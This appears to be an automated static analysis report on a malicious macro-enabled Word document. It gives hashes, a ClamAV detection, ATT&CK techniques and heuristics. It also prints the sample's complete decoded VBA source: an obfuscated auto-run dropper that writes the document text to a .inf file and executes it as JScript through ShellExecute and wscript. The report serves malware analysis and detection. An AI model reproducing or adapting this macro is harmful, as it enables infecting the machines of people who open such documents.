Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 99878a41dffea182…

MALICIOUS

Office (OOXML)

239.6 KB Created: 2019-07-08 09:55:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-24
MD5: 2380a5c5c6db8f471f98ab4ac754d985 SHA-1: 239b659df755b74a701933e38cb8aa6b5e66368d SHA-256: 99878a41dffea182019354ffb232fbf365943bb968b5a77414348b9e090650dc
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'Document_Open' macro triggers the execution of a payload using 'CreateObject' and 'CallByName' to invoke 'ShellExecute'. This suggests the document is designed to download and execute a secondary stage. The ClamAV detection 'Doc.Malware.Stratos-7051745-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Stratos-7051745-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Stratos-7051745-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1633 bytes
SHA-256: 12f9ab33472e758c0686959b61f2cd5d126f5c3a06c770235534efbd57d4aa1c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim doubleo As Object
Sand (8)
End Sub


Private Sub Document_New()
MsgBox ("try on" & ActiveDocument.Variables("sheet").Value)
End Sub

Private Sub Document_Close()
NewYork (6)
End Sub



Attribute VB_Name = "NewMacros"
Public atom As String

Function fick()
fick = "" & Chr(83) & "he" & "l" & Chr(108)
End Function

Function Pollo()
Pollo = Chr(32) & "/" & Chr(101) & ":"
End Function

Function Madeit()
Madeit = fick & "Exe" & Chr(99) & "ut" & Chr(101)
End Function

Function Crow()
Crow = Chr(83) & Chr(99) & "r" & "ipt"
End Function



Sub NewYork(sin As Long)

Dim params() As Variant
ReDim params(55)
VBA.CallByName VBA.CreateObject(fick & "." & Chr(65) & "ppli" & Chr(99) & "ation"), Madeit, VbMethod, Chr(87) & Crow _
, Pollo & Chr(74) & Crow & " " & Chr(34) & atom & Chr(34), "", "open", 1
End Sub





Sub Sand(der As Long)
'
' Sand Macro
'
'

atom = Replace(ActiveDocument.FullName, ".docm", ".inf")

    
Dim foM As String, fon As Integer
foM = atom
fon = FreeFile
    
Open foM For Output As #fon
Print #fon, ActiveDocument.Content.Text
Close #fon

Dim dteWait
dteWait = DateAdd("s", 1, Now())
Do Until (Now() > dteWait)
Loop

End Sub

Sub AcceptAllChangesInDoc55()
'
' AcceptAllChangesInDoc55 Macro
'
'
MsgBox "OK"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: bffef36e67e59dd49bb62f6a18d06616b163317e2b57286ed4b68b706bfd67a7
Detection
ClamAV: Doc.Malware.Stratos-7051745-0
Obfuscation or payload: unlikely

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